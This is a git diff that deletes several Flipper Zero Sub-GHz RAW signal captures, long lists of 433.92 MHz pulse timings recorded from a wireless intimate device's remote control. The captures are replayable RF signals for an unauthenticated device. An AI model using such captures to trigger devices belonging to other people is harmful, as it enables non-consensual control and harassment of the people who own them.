195 -66 789 -100 331 -68 595 -132 691 -296 1313 -166 99 -98 1087 -66 1811 -100 693 -66 199 -100 133 -134 199 -98 2779 -66 195 -66 2959 -98 525 -66 455 -66 1445 -68 4837 -100 165 -98 3415 -66 1531 -132 467 -134 199 -100 963 -100 1325 -68 133 -66 1459 -100 263 -132 1591 -68 795 -134 1411 -100 3917 -132 927 -232 297 -100 231 -100 865 -100 1261 -200 1325 -100 97 -68 1291 -298 1991 -166 627 -232 693 -98 427 -98 99 -66 163 -132 261 -66 559 -132 327 -164 97 -98 197 -66 555 -98 1853 -134 1427 -68 561 -66 1949 -100 1195 -98 195 -66 389 -66 2323 -166 1101 -164 959 -68 265 -98 2631 -132 525 -130 557 -66 1371 -66 457 -RAW_Data: -132 657 -232 1759 -66 165 -100 1189 -66 1149 -66 959 -200 533 -100 99 -100 3567 -164 793 -134 6131 -68 755 -100 827 -66 3703 -66 1757 -100 631 -132 1159 -130 557 -66 723 -98 493 -98 921 -100 2259 -100 9333 -66 4809 -98 11439 -64 1937 -66 629 -66 5703 -66 829 -64 4147 -134 265 -66 5021 -66 3313 -66 1195 -132 791 -132 195 -66 427 -196 1609 -66 1453 -98 333 -166 1359 -100 463 -100 1789 -98 229 -66 1455 -100 763 -66 1355 -134 399 -266 2443 -98 457 -66 6839 -66 893 -98 1687 -100 1197 -100 1293 -66 1229 -166 1123 -200 293 -66 227 -98 2113 -98 789 -98 1345 -66 2315 -100 1195 -100 433 -298 265 -100 199 -264 231 -198 1087 -132 693 -66 1671 -232 97 -132 297 -264 429 -232 3419 -66 2765 -66 661 -68 1493 -134 863 -132 1223 -100 1257 -132 133 -66 465 -66 2007 -98 1329 -66 3187 -66 1263 -100 391 -98 1215 -198 525 -98 585 -98 821 -66 229 -68 231 -366 1649 -66 557 -66 265 -66 667 -164 797 -100 363 -66 131 -166 233 -66 7063 -166 129 -68 2925 -100 999 -164 831 -66 2221 -100 929 -66 397 -100 663 -64 229 -66 427 -200 199 -66 131 -100 99 -66 563 -66 2423 -132 959 -100 397 -164 2243 -130 4423 -164 791 -66 163 -198 891 -66 533 -66 1593 -100 397 -98 4325 -66 1113 -66 655 -98 3381 -66 493 -66 425 -66 459 -166 559 -100 161 -66 955 -230 1263 -100 1313 -66 1627 -200 97 -166 65 -64 425 -66 197 -66 849 -98 163 -262 1153 -132 265 -100 729 -66 427 -132 163 -164 2939 -98 533 -168 829 -100 427 -98 427 -66 525 -100 2287 -66 199 -66 165 -100 3019 -66 129 -100 229 -66 463 -198 99 -100 461 -200 1941 -200 299 -98 231 -66 825 -100 433 -100 399 -132 233 -166 561 -66 1389 -68 397 -134 863 -98 1753 -98 951 -98 1085 -66 2615 -100 131 -100 163 -98 67 -98 1747 -66 1115 -98 527 -100 65 -132 65 -100 165 -100 263 -268 231 -100 3729 -130 131 -166 885 -98 163 -98 787 -132 1477 -132 623 -100 265 -68 3243 -68 97 -100 499 -100 925 -134 1021 -68 1165 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub deleted file mode 100644 index da4f06a59..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4105 -66 393 -66 1745 -98 1643 -98 755 -66 1521 686 4029 -100 595 -134 827 -134 2907 -100 133 -132 433 -134 997 -66 1659 -198 1391 -66 4229 -100 333 -134 1789 -198 1261 -100 365 -132 165 -134 3357 -166 163 -164 719 -98 365 -132 733 -68 597 -66 591 -100 655 -98 361 -98 363 -100 295 -66 367 -130 167 -134 4259 -66 5311 -100 1821 -100 195 -66 1315 -66 1561 -100 299 -332 761 -132 1327 -164 297 -66 699 -132 629 -98 427 -98 1937 -64 2321 -100 165 -202 431 -134 633 -98 99 -100 4183 -100 1359 -164 863 -66 601 -66 2205 -100 1959 -66 299 -100 1357 -134 797 -68 431 -132 2703 -100 1255 -166 133 -168 1261 -100 433 -66 229 -66 459 -64 1413 -64 4235 -66 465 -132 695 -134 369 -100 461 -134 2321 -134 1563 -100 929 -66 629 -100 1693 -100 201 -66 2555 -100 1427 -66 1325 -98 1839 -168 795 -66 65 -132 463 -102 1129 -132 727 -132 397 -66 2447 -232 197 -132 431 -98 2225 -166 625 -98 1761 -100 729 -100 2489 -100 1611 -132 327 -66 855 -196 3125 -100 393 -100 623 -66 1117 -66 97 -66 1675 -132 261 -394 659 -130 327 -330 2813 -100 233 -134 697 -100 265 -134 1317 -100 99 -100 1955 -430 133 -132 99 -132 435 -132 665 -164 267 -100 133 -132 397 -66 797 -98 331 -134 1289 -134 1157 -134 265 -100 535 -132 435 -68 131 -66 1167 -68 331 -98 1429 -134 165 -66 133 -66 997 -66 993 -430 793 -66 195 -68 231 -100 1661 -98 331 -100 1729 -98 929 -100 265 -100 2353 -132 6023 -100 657 -66 889 -98 195 -98 859 -66 329 -66 4051 -98 3327 -66 2197 -68 595 -166 893 -134 887 -66 591 -66 1489 -66 4457 -132 65 -68 65 -134 99 -98 925 -98 391 -134 825 -130 457 -66 297 -66 167 -132 791 -66 199 -230 1117 -100 131 -132 229 -100 559 -66 165 -262 623 -66 529 -100 333 -100 495 -100 2243 -230 495 -66 757 -66 821 -66 393 -132 1347 -66 627 -98 821 -100 527 -66 2545 -196 2867 -134 397 -132 2421 -100 6359 -164 2811 -66 493 -64 595 -100 695 -98 131 -66 1883 -66 163 -132 131 -230 1657 -164 493 -66 425 -66 3397 -98 1249 -98 259 -166 691 -198 163 -164 65 -132 919 -98 1851 -100 1389 -130 2221 -134 133 -100 435 -68 859 -102 199 -166 1061 -164 525 -132 195 -100 393 -196 393 -66 131 -98 593 -98 2583 -98 1955 -98 725 -66 989 -296 197 -68 893 -66 2359 -134 2057 -98 659 -230 5509 -100 1363 -166 895 -166 633 -66 99 -166 1553 -66 197 -100 2227 -132 293 -64 199 -66 199 -98 887 -66 3367 -100 297 -134 397 -68 299 -66 -RAW_Data: 267 -100 131 -100 1267 -100 2261 -100 569 -66 15475 -100 1281 -130 427 -164 1149 -164 885 -100 1317 -166 5959 -66 4153 -66 4421 -130 3899 -98 1679 -166 131 -228 1285 -98 1713 -98 1485 -132 1325 -66 995 -164 101 -66 3823 -66 3275 -66 5621 -100 1229 -100 627 -98 787 -132 491 -134 855 -166 329 -196 11975 -164 927 -66 889 -66 2199 -66 2633 -98 163 -100 565 -132 761 -132 1229 -100 361 -130 229 -66 593 -66 729 -66 1891 -98 1593 -66 2329 -66 885 -132 2437 -66 753 -98 919 -132 397 -100 329 -66 5733 -100 1293 -134 399 -100 2039 -264 97 -166 2149 -66 657 -100 1281 -132 723 -64 859 -198 1609 -66 1911 -134 529 -66 131 -262 263 -98 325 -230 723 -98 853 -66 623 -100 1461 -66 3977 -66 1721 -68 1287 -98 101 -132 2361 -68 663 -66 331 -100 2587 -68 2517 -66 97 -100 793 -134 561 -166 467 -102 695 -166 231 -132 863 -100 3213 -68 1195 -102 165 -200 963 -64 1011 -880 409 -848 387 -862 417 -838 441 -842 417 -848 433 -850 423 -854 1665 -450 413 -444 393 -426 409 -448 409 -434 419 -448 383 -450 405 -428 409 -842 427 -424 441 -384 449 -852 411 -844 427 -428 409 -448 417 -850 409 -846 425 -854 413 -444 393 -852 415 -450 401 -852 415 -444 393 -852 415 -440 393 -882 385 -882 387 -876 411 -850 411 -846 427 -852 413 -852 397 -870 417 -848 433 -846 1669 -416 419 -450 407 -424 409 -448 417 -428 413 -444 387 -444 385 -448 431 -852 387 -446 417 -852 395 -468 383 -450 425 -414 409 -882 383 -444 407 -418 411 -878 409 -418 443 -854 413 -416 443 -850 411 -418 411 -878 413 -418 413 -852 439 -844 387 -886 389 -872 407 -848 411 -842 429 -852 411 -854 425 -840 417 -850 1697 -450 401 -430 407 -442 409 -428 379 -446 413 -440 429 -412 413 -446 409 -876 379 -446 411 -870 409 -434 411 -446 419 -430 407 -844 423 -426 405 -414 443 -846 411 -412 411 -876 409 -412 445 -848 411 -412 411 -876 405 -412 445 -846 407 -874 395 -852 415 -840 423 -840 449 -852 409 -848 385 -884 387 -874 409 -850 1669 -450 401 -426 441 -412 409 -458 387 -444 383 -444 423 -444 415 -416 409 -864 417 -418 411 -870 417 -418 451 -402 427 -410 415 -882 415 -406 421 -442 415 -870 389 -444 415 -852 399 -436 417 -846 407 -456 389 -872 407 -436 417 -842 439 -840 419 -846 437 -844 421 -852 417 -848 421 -854 413 -846 419 -824 413 -872 1697 -432 387 -446 415 -418 433 -424 443 -382 445 -422 425 -412 415 -452 421 -820 421 -444 413 -830 441 -422 421 -408 449 -412 -RAW_Data: 407 -866 419 -416 411 -424 441 -848 409 -418 423 -874 407 -434 417 -846 413 -418 411 -844 447 -414 415 -844 451 -842 399 -852 415 -868 415 -850 409 -850 449 -810 429 -852 413 -864 411 -864 1693 -416 415 -420 415 -408 441 -416 449 -380 439 -414 445 -424 423 -418 443 -816 413 -410 461 -812 449 -416 415 -424 445 -384 451 -818 445 -416 447 -382 441 -844 421 -418 437 -858 419 -414 409 -852 449 -382 453 -852 411 -418 419 -102310 65 -68 97 -1876 197 -360 97 -132 97 -826 259 -228 1227 -132 1711 -68 795 -164 789 -134 331 -68 265 -68 367 -66 2059 -100 1291 -64 3715 -66 297 -100 729 -66 495 -100 529 -198 657 -98 261 -130 65 -98 131 -98 427 -64 165 -164 593 -98 1275 -66 261 -64 2339 -164 1859 -100 365 -98 901 -200 227 -66 199 -100 267 -66 363 -98 1523 -66 1959 -68 163 -230 1263 -100 697 -100 1185 -132 463 -134 795 -134 797 -66 533 -68 1089 -98 65 -66 329 -164 65 -98 463 -98 963 -66 265 -66 931 -132 531 -302 199 -66 433 -66 363 -66 199 -132 199 -134 297 -66 729 -66 3207 -64 621 -66 823 -66 327 -100 1159 -100 855 -66 461 -132 129 -164 559 -98 293 -66 757 -64 1153 -66 1447 -66 295 -164 2833 -100 1587 -66 2421 -294 527 -98 461 -164 131 -66 397 -100 663 -66 331 -166 2753 -102 99 -134 231 -66 897 -100 2225 -66 1159 -100 427 -66 661 -100 133 -100 2015 -198 853 -66 2511 -100 1491 -100 757 -166 229 -198 265 -68 1051 -98 1555 -166 99 -66 863 -100 2195 -132 2923 -100 557 -198 755 -100 691 -100 2291 -66 165 -130 263 -66 197 -132 559 -66 1857 -66 1161 -134 1097 -100 719 -64 327 -100 1149 -66 1351 -134 265 -136 199 -100 201 -336 163 -362 523 -132 555 -166 131 -100 1793 -68 233 -166 495 -66 1753 -200 269 -66 729 -98 661 -134 595 -132 499 -134 1021 -164 723 -66 1685 -132 133 -66 3533 -66 1249 -64 395 -264 531 -100 465 -100 467 -66 1459 -100 429 -66 331 -100 265 -134 401 -134 627 -66 165 -234 363 -98 919 -198 1961 -132 2191 -66 3403 -66 1055 -66 393 -130 163 -164 529 -166 599 -66 1061 -132 363 -64 1027 -66 629 -66 793 -262 1055 -66 859 -100 663 -132 495 -100 6897 -98 133 -132 529 -66 3015 -66 1325 -100 2649 -98 1227 -66 2839 -130 853 -134 731 -66 167 -170 367 -68 697 -98 65 -132 99 -100 429 -66 887 -66 1445 -98 195 -98 131 -164 395 -130 361 -132 591 -198 263 -66 231 -100 767 -66 431 -66 597 -68 1223 -100 261 -364 65 -298 3047 -98 299 -100 565 -166 -RAW_Data: 233 -134 2153 -100 5005 -198 729 -66 629 -66 435 -132 1393 -98 495 -132 4059 -66 1635 -98 789 -230 131 -64 1447 -100 987 -100 1391 -166 3277 -166 1775 -98 1115 -100 1867 -66 293 -132 1415 -98 1719 -232 4699 -100 1657 -164 2119 -66 2157 -100 2651 -66 3271 -134 4259 -132 2723 -134 2851 -68 231 -66 231 -66 365 -166 1061 -100 731 -100 233 -100 597 -100 295 -66 1213 -198 3319 -132 4115 -64 6467 -100 2549 -100 1095 -68 1821 -132 65 -132 2807 -66 229 -132 1113 -164 1197 -98 431 -134 65 -68 3673 -98 1655 -68 725 -66 2213 -132 953 -66 229 -100 1511 -100 2123 -100 299 -100 2055 -66 1627 -132 997 -100 133 -66 993 -200 529 -66 561 -66 1297 -100 2457 -100 1149 -132 1057 -100 7489 -66 1063 -100 301 -166 1763 -164 787 -68 829 -132 1323 -66 657 -66 757 -164 99 -132 597 -66 365 -98 729 -66 3081 -100 831 -100 333 -66 2155 -66 1695 -134 725 -66 2055 -132 1021 -66 1155 -98 3877 -64 4937 -68 693 -66 395 -164 721 -66 65 -262 197 -230 195 -100 887 -66 855 -130 1391 -66 2709 -166 2463 -66 861 -66 931 -98 1563 -166 657 -98 993 -98 165 -66 197 -66 167 -198 1057 -270 1791 -134 2277 -66 1215 -66 261 -98 525 -198 1807 -100 1217 -132 659 -21114 65 -296 595 -100 97 -100 395 -232 99 -132 297 -66 199 -166 1093 -100 2077 -100 4059 -130 229 -98 361 -98 3123 -166 531 -268 99 -132 801 -98 401 -66 1387 -132 793 -100 999 -102 131 -100 499 -132 229 -66 1181 -164 493 -98 2615 -130 623 -132 629 -66 831 -100 199 -98 233 -66 501 -66 461 -100 1527 -100 2525 -100 795 -66 461 -98 533 -132 397 -68 923 -100 1683 -98 129 -100 951 -132 193 -98 331 -130 163 -132 1409 -66 989 -100 231 -98 4671 -66 263 -66 4179 -132 687 -98 1675 -66 4689 -164 527 -132 263 -64 863 -366 167 -132 333 -100 231 -100 497 -98 367 -98 365 -232 3719 -98 131 -132 563 -68 97 -100 499 -134 65 -100 297 -100 197 -134 697 -66 463 -66 895 -66 165 -68 533 -66 955 -66 323 -100 1055 -66 1771 -132 5665 -100 99 -166 5443 -164 3023 -132 2355 -102 1867 -66 601 -136 495 -166 129 -196 295 -166 297 -100 1163 -66 2607 -66 1583 -166 1093 -196 989 -100 1077 -98 261 -196 195 -98 759 -98 391 -98 65 -100 753 -66 591 -100 129 -66 1219 -66 267 -234 265 -66 167 -66 1295 -100 4555 -66 593 -64 921 -132 2239 -196 1131 -134 495 -66 365 -66 299 -66 301 -66 897 -266 495 -98 429 -132 331 -98 163 -66 951 -164 527 -96 1215 -66 425 -100 3159 -66 359 -100 -RAW_Data: 2691 -100 497 -102 1693 -66 1067 -132 5137 -66 7147 -98 595 -66 1345 -64 131 -66 521 -132 531 -66 233 -166 65 -68 2055 -134 729 -100 891 -66 1797 -66 9485 -100 365 -166 431 -66 797 -100 531 -66 197 -98 365 -166 567 -68 1949 -132 1841 -100 721 -132 2615 -64 197 -66 1739 -66 787 -66 8247 -200 7137 -68 8865 -98 2149 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub deleted file mode 100644 index 03367479d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5239 -98 197 4393 2887 -66 697 -100 1159 -100 925 -66 1589 -98 333 -134 1685 -132 3985 -66 985 -98 365 -102 399 -66 729 -100 297 -66 3599 -66 887 -196 297 -66 131 -98 755 -100 363 -100 299 -100 461 -68 1955 -134 1891 -66 3921 -200 897 -66 1117 -98 3575 -66 789 -132 523 -200 689 -330 325 -134 1489 -134 231 -66 2321 -100 597 -68 831 -164 65 -68 297 -98 629 -134 1193 -132 1591 -68 1065 -198 593 -264 2405 -300 629 -130 1545 -98 1885 -98 793 -66 1095 -100 861 -132 1725 -64 1521 -132 463 -100 2853 -64 3661 -66 4561 -130 295 -164 65 -66 931 -66 231 -134 1927 -68 535 -132 723 -66 235 -66 955 -132 463 -132 1427 -98 597 -230 1283 -66 293 -164 823 -134 965 -66 463 -164 559 -98 4145 -68 697 -66 919 -66 3309 -134 3327 -100 1813 -66 5791 -100 697 -68 561 -68 165 -66 733 -66 395 -66 229 -98 129 -100 329 -132 887 -132 657 -100 629 -100 299 -132 2351 -66 859 -100 497 -130 901 -98 297 -198 1027 -68 2687 -66 367 -100 231 -132 893 -66 99 -66 1231 -166 431 -100 763 -66 1157 -100 297 -132 599 -66 1751 -66 687 -232 295 -66 459 -132 721 -98 261 -66 917 -66 2259 -132 201 -68 4739 -66 265 -100 963 -98 3115 -102 299 -66 1591 -132 101 -66 959 -66 1343 -230 2599 -100 63 -66 263 -98 917 -66 1513 -164 819 -132 457 -98 297 -168 599 -66 429 -66 1389 -134 5389 -68 2357 -68 2547 -100 761 -100 99 -98 865 -68 367 -100 4419 -132 1643 -98 495 -232 431 -134 791 -100 1551 -66 3331 -64 195 -66 357 -100 163 -132 261 -66 621 -132 399 -134 365 -132 4277 -66 231 -134 563 -66 165 -134 1717 -98 427 -130 197 -66 2171 -66 329 -66 1913 -100 3355 -66 725 -66 2389 -132 657 -100 1119 -98 163 -66 363 -64 985 -66 2531 -100 1727 -100 595 -66 499 -68 531 -166 1481 -68 1185 -66 427 -66 2599 -102 1029 -100 301 -100 431 -100 2059 -66 365 -166 1623 -164 463 -200 333 -66 197 -66 299 -132 1161 -98 1809 -66 1573 -98 225 -132 391 -132 591 -132 299 -100 3917 -166 399 -100 2571 -98 1095 -364 231 -98 1769 -66 1097 -100 3545 -98 553 -100 1027 -132 799 -66 661 -98 201 -132 329 -100 2309 -98 65 -68 65 -134 431 -66 1345 -296 295 -100 953 -132 3051 -98 429 -166 2461 -66 1055 -66 1923 -100 331 -132 97 -66 359 -66 261 -130 133 -66 625 -130 99 -64 1317 -102 563 -330 727 -100 427 -134 131 -100 1891 -66 765 -98 3723 -66 1711 -98 855 -66 393 -64 363 -132 1117 -66 1943 -68 399 -68 265 -66 961 -102 -RAW_Data: 1529 -68 231 -66 395 -134 893 -132 1157 -66 1225 -100 467 -98 1493 -100 929 -134 131 -134 1025 -100 863 -100 1659 -66 357 -66 4361 -100 3089 -66 229 -264 1051 -100 195 -132 489 -66 163 -130 425 -98 229 -98 4613 -100 1091 -100 4939 -166 595 -98 885 -166 795 -164 1523 -100 1855 -200 10927 -66 2371 -66 2607 -66 863 -100 97 -68 827 -168 133 -66 5279 -164 5983 -66 165 -68 1865 -68 931 -134 165 -134 701 -66 3053 -134 2119 -134 65 -164 393 -132 229 -66 67 -100 3377 -100 293 -98 889 -164 365 -168 497 -132 867 -100 1161 -98 399 -100 99 -198 395 -98 99 -100 331 -68 99 -132 231 -98 689 -100 459 -264 391 -164 329 -66 1779 -98 265 -66 595 -66 1151 -850 387 -876 405 -886 379 -878 393 -870 387 -882 387 -872 411 -864 1703 -418 413 -416 417 -436 413 -448 389 -444 415 -416 429 -428 405 -416 445 -848 413 -416 443 -420 411 -446 413 -838 411 -450 389 -450 407 -426 409 -876 403 -850 415 -450 407 -850 415 -442 407 -848 425 -414 411 -882 385 -450 403 -854 417 -852 427 -874 383 -850 439 -848 423 -852 413 -838 415 -882 413 -838 413 -876 1685 -420 429 -416 411 -424 445 -412 411 -420 423 -446 415 -410 435 -846 427 -396 439 -448 407 -440 417 -416 417 -868 411 -442 409 -418 449 -388 441 -840 419 -846 437 -388 445 -848 439 -388 447 -844 435 -420 417 -846 437 -388 445 -844 439 -814 417 -854 421 -838 449 -846 415 -842 425 -834 449 -820 421 -838 455 -818 1703 -408 453 -378 447 -416 441 -410 413 -446 421 -428 409 -416 447 -840 413 -416 451 -384 441 -410 415 -446 415 -834 415 -454 405 -426 411 -416 445 -850 415 -842 425 -424 443 -810 431 -424 411 -844 427 -410 447 -844 407 -422 447 -842 431 -848 385 -888 387 -874 411 -850 413 -844 427 -850 413 -852 411 -876 411 -848 1703 -396 435 -416 451 -388 439 -410 415 -446 423 -396 433 -416 439 -830 453 -414 419 -430 427 -408 415 -414 445 -836 449 -416 411 -428 443 -380 445 -850 415 -844 423 -428 407 -842 429 -426 411 -846 425 -410 447 -844 437 -416 417 -844 439 -812 451 -852 385 -874 407 -864 419 -842 433 -844 419 -836 413 -854 449 -846 1677 -426 405 -442 409 -434 409 -446 383 -436 433 -412 413 -446 411 -836 447 -416 411 -444 411 -408 435 -412 445 -846 409 -410 445 -422 427 -408 415 -874 399 -862 383 -450 419 -822 439 -418 417 -846 439 -418 415 -846 439 -418 415 -846 433 -848 383 -852 423 -876 419 -856 411 -846 423 -852 411 -854 399 -864 417 -846 1689 -410 -RAW_Data: 423 -428 411 -448 413 -422 411 -448 413 -412 455 -418 411 -876 411 -416 413 -446 411 -446 411 -420 431 -850 419 -416 415 -442 407 -416 417 -848 443 -846 419 -416 409 -846 417 -452 405 -856 411 -444 393 -850 415 -442 441 -116554 97 -134 65 -234 197 -134 131 -132 99 -100 463 -198 2099 -100 3841 -66 1185 -66 957 -132 133 -68 1889 -166 1291 -198 2777 -132 265 -68 131 -100 395 -100 1493 -100 1361 -100 731 -334 1723 -164 1379 -66 99 -98 493 -66 985 -66 753 -98 1451 -66 565 -66 167 -134 133 -100 233 -66 331 -66 297 -132 199 -100 263 -136 531 -100 165 -98 2803 -100 2351 -298 199 -132 1627 -66 265 -132 597 -66 365 -166 763 -134 857 -66 491 -132 965 -98 1565 -132 427 -132 2879 -132 165 -230 2373 -66 431 -98 729 -134 2789 -66 131 -68 131 -66 1425 -132 533 -66 721 -100 2799 -196 591 -66 129 -130 129 -294 625 -130 723 -98 10881 -66 5291 -66 435 -66 399 -100 331 -100 1787 -134 229 -98 721 -100 591 -100 955 -166 597 -66 1983 -198 599 -330 793 -66 99 -98 2453 -132 759 -66 833 -66 731 -102 235 -132 2571 -66 393 -298 299 -132 1059 -66 1095 -66 167 -166 763 -368 929 -68 165 -98 1357 -100 131 -66 735 -168 727 -296 1151 -166 1025 -100 1563 -68 629 -66 699 -100 201 -68 2129 -98 725 -66 1089 -232 961 -66 1093 -66 1395 -134 1285 -100 655 -98 1581 -100 997 -364 329 -98 1135 -132 265 -100 395 -98 1685 -98 2051 -100 729 -100 1891 -66 265 -100 199 -66 467 -100 597 -132 993 -66 329 -164 2053 -64 295 -328 131 -98 1381 -164 231 -68 297 -68 199 -66 333 -66 431 -134 331 -264 563 -132 3363 -98 231 -100 1413 -100 1415 -132 433 -134 429 -66 663 -98 459 -100 1065 -66 1129 -100 559 -164 1487 -66 1193 -196 791 -66 897 -68 2131 -100 131 -100 101 -132 397 -68 599 -132 1159 -66 1051 -100 463 -100 295 -262 495 -66 263 -98 1385 -66 1465 -66 99 -132 2381 -66 863 -134 1029 -132 595 -66 65 -66 365 -264 799 -98 431 -100 4513 -66 697 -132 263 -132 1559 -66 4869 -234 1051 -132 1129 -66 931 -98 433 -166 131 -100 2059 -132 1397 -134 2535 -198 823 -132 465 -230 363 -98 1613 -66 293 -198 1747 -332 865 -66 297 -66 1677 -198 2377 -98 1809 -228 791 -66 889 -98 657 -132 1295 -132 263 -66 961 -132 463 -132 259 -98 791 -98 755 -166 1053 -196 1611 -98 265 -100 1459 -134 99 -100 3765 -66 917 -66 4723 -132 195 -66 1083 -100 329 -66 161 -98 2451 -68 267 -134 299 -66 301 -100 1557 -100 265 -100 429 -98 -RAW_Data: 1583 -66 1027 -68 2777 -66 1683 -100 331 -98 831 -132 757 -198 229 -164 789 -164 2295 -68 8295 -66 1661 -98 931 -100 1555 -98 2737 -66 1099 -134 593 -100 629 -198 4909 -100 5033 -66 229 -98 721 -66 2345 -66 2311 -98 333 -132 5349 -164 327 -66 361 -100 2081 -98 197 -98 823 -130 525 -66 791 -66 755 -64 891 -66 665 -66 497 -66 4085 -66 4379 -64 327 -132 3521 -330 1051 -66 295 -100 1363 -68 233 -136 531 -100 263 -68 5903 -66 927 -132 365 -100 825 -166 1625 -134 1857 -100 265 -66 1067 -68 1025 -100 131 -66 265 -66 751 -98 493 -134 1251 -100 199 -66 1713 -100 721 -66 1429 -66 367 -230 587 -132 1249 -66 167 -132 465 -68 565 -100 365 -168 727 -100 2379 -164 987 -200 429 -100 695 -66 1197 -66 495 -66 301 -100 131 -66 1127 -100 363 -100 229 -100 2119 -266 4841 -164 1049 -66 855 -98 1215 -66 653 -66 1291 -100 301 -66 133 -132 1463 -66 1431 -132 727 -132 1755 -100 1291 -100 2551 -66 983 -66 665 -66 901 -198 199 -98 561 -200 165 -98 1131 -66 367 -100 561 -98 357 -64 493 -100 163 -66 295 -166 327 -66 1643 -168 331 -100 329 -132 299 -66 597 -66 697 -134 629 -66 1445 -64 1579 -100 1183 -66 561 -98 2999 -98 295 -98 759 -66 1031 -100 133 -66 67 -166 465 -100 4277 -164 1517 -132 1821 -66 299 -98 3143 -132 461 -100 1691 -66 4779 -66 755 -164 195 -132 1149 -130 2169 -98 7751 -132 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub deleted file mode 100644 index 3dd064006..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3089 -66 1193 -64 261 -166 1213 379 1449 -68 1525 -66 365 -130 163 -132 2007 -132 819 -130 1657 -132 1089 -66 2161 -100 2369 -66 1617 -66 1163 -66 1019 -98 361 -98 2139 -100 531 -132 3485 -66 365 -166 133 -132 563 -66 1595 -66 197 -168 3537 -66 529 -100 795 -66 1593 -100 1061 -66 2627 -66 781 -166 3043 -66 431 -66 167 -134 2831 -98 463 -68 795 -68 3487 -100 3213 -66 697 -68 363 -100 949 -98 457 -262 65 -98 987 -166 591 -198 921 -66 695 -66 329 -66 989 -98 815 -100 753 -66 1217 -132 1019 -100 2625 -132 3681 -100 7731 -66 431 -66 2177 -66 763 -68 1793 -232 1575 -100 299 -66 165 -66 955 -66 1053 -132 1705 -66 361 -66 1249 -130 5717 -100 3459 -66 3447 -168 999 -166 1395 -98 2071 -132 1647 -166 431 -68 1287 -98 65 -66 1247 -100 461 -132 431 -132 165 -68 1129 -66 401 -66 2757 -102 2495 -66 1163 -66 2061 -66 597 -68 165 -100 1973 -164 459 -98 333 -100 331 -66 923 -66 259 -130 1475 -66 1295 -134 65 -68 829 -132 495 -100 231 -66 921 -66 2057 -100 1159 -130 1813 -66 1295 -68 365 -68 663 -66 2461 -66 687 -98 987 -98 859 -66 797 -98 361 -100 527 -134 463 -166 1261 -66 1093 -68 1419 -100 399 -100 4933 -66 2109 -68 2211 -230 593 -164 2071 -100 97 -66 1941 -164 229 -132 263 -198 3075 -66 63 -66 3411 -100 1889 -68 267 -66 4837 -100 331 -132 4575 -68 399 -66 1165 -66 1131 -130 261 -66 693 -132 131 -98 595 -98 593 -66 719 -132 295 -66 295 -132 523 -64 753 -132 97 -296 263 -264 97 -132 427 -66 829 -98 3249 -66 431 -100 527 -166 465 -66 195 -100 429 -68 199 -134 4109 -66 1461 -266 363 -66 493 -198 1149 -132 195 -98 393 -132 163 -96 557 -132 2585 -68 1029 -66 499 -134 2427 -100 269 -98 4247 -98 3039 -66 5021 -66 529 -134 859 -68 3353 -132 2567 -164 1521 -66 3879 -100 687 -98 163 -230 2083 -100 1099 -232 497 -134 761 -98 3915 -236 1327 -68 165 -66 6301 -68 3187 -66 1485 -100 97 -66 3287 -98 2283 -166 431 -98 1925 -66 799 -98 1813 -100 2195 -66 1197 -132 1525 -100 131 -66 333 -98 299 -200 765 -132 497 -98 403 -66 395 -66 727 -166 167 -66 1331 -66 235 -98 165 -98 2075 -64 363 -100 129 -130 557 -132 263 -98 1493 -132 827 -66 3061 -134 1031 -68 799 -132 529 -198 99 -68 1097 -132 4295 -130 557 -66 229 -64 2899 -66 2459 -66 927 -100 65 -100 593 -66 197 -64 131 -98 589 -132 261 -64 591 -132 293 -98 131 -98 1117 -98 557 -98 1807 -66 3103 -132 527 -66 -RAW_Data: 197 -68 2905 -98 3213 -68 1225 -66 2357 -66 2149 -100 397 -68 301 -66 3145 -872 377 -880 407 -880 361 -920 383 -884 391 -870 383 -852 439 -846 1675 -446 413 -410 441 -416 409 -438 417 -448 385 -444 409 -448 419 -850 409 -418 413 -446 411 -446 383 -450 425 -840 415 -450 401 -424 443 -414 419 -856 411 -848 421 -430 407 -846 391 -448 411 -854 413 -452 399 -852 413 -450 403 -852 415 -852 427 -872 375 -888 417 -846 399 -882 385 -852 423 -874 383 -852 441 -844 1677 -450 393 -448 411 -424 411 -448 409 -452 381 -444 415 -444 395 -850 415 -450 401 -428 405 -416 443 -850 411 -418 443 -420 411 -446 383 -884 395 -434 415 -848 437 -430 389 -876 435 -432 387 -876 407 -424 411 -876 411 -418 425 -838 443 -848 413 -848 423 -852 381 -884 399 -866 417 -848 405 -850 417 -852 423 -872 1665 -448 385 -456 397 -432 417 -448 425 -398 435 -416 411 -450 399 -866 419 -416 415 -432 411 -444 413 -868 413 -420 431 -428 409 -416 417 -848 441 -418 415 -848 441 -418 417 -846 441 -388 447 -846 433 -390 443 -846 401 -442 413 -842 437 -848 385 -850 423 -842 415 -876 407 -840 429 -850 417 -844 407 -880 419 -842 1689 -418 395 -450 409 -426 409 -448 411 -418 413 -444 415 -442 407 -844 419 -410 445 -414 407 -440 417 -848 441 -410 415 -416 421 -440 409 -874 399 -426 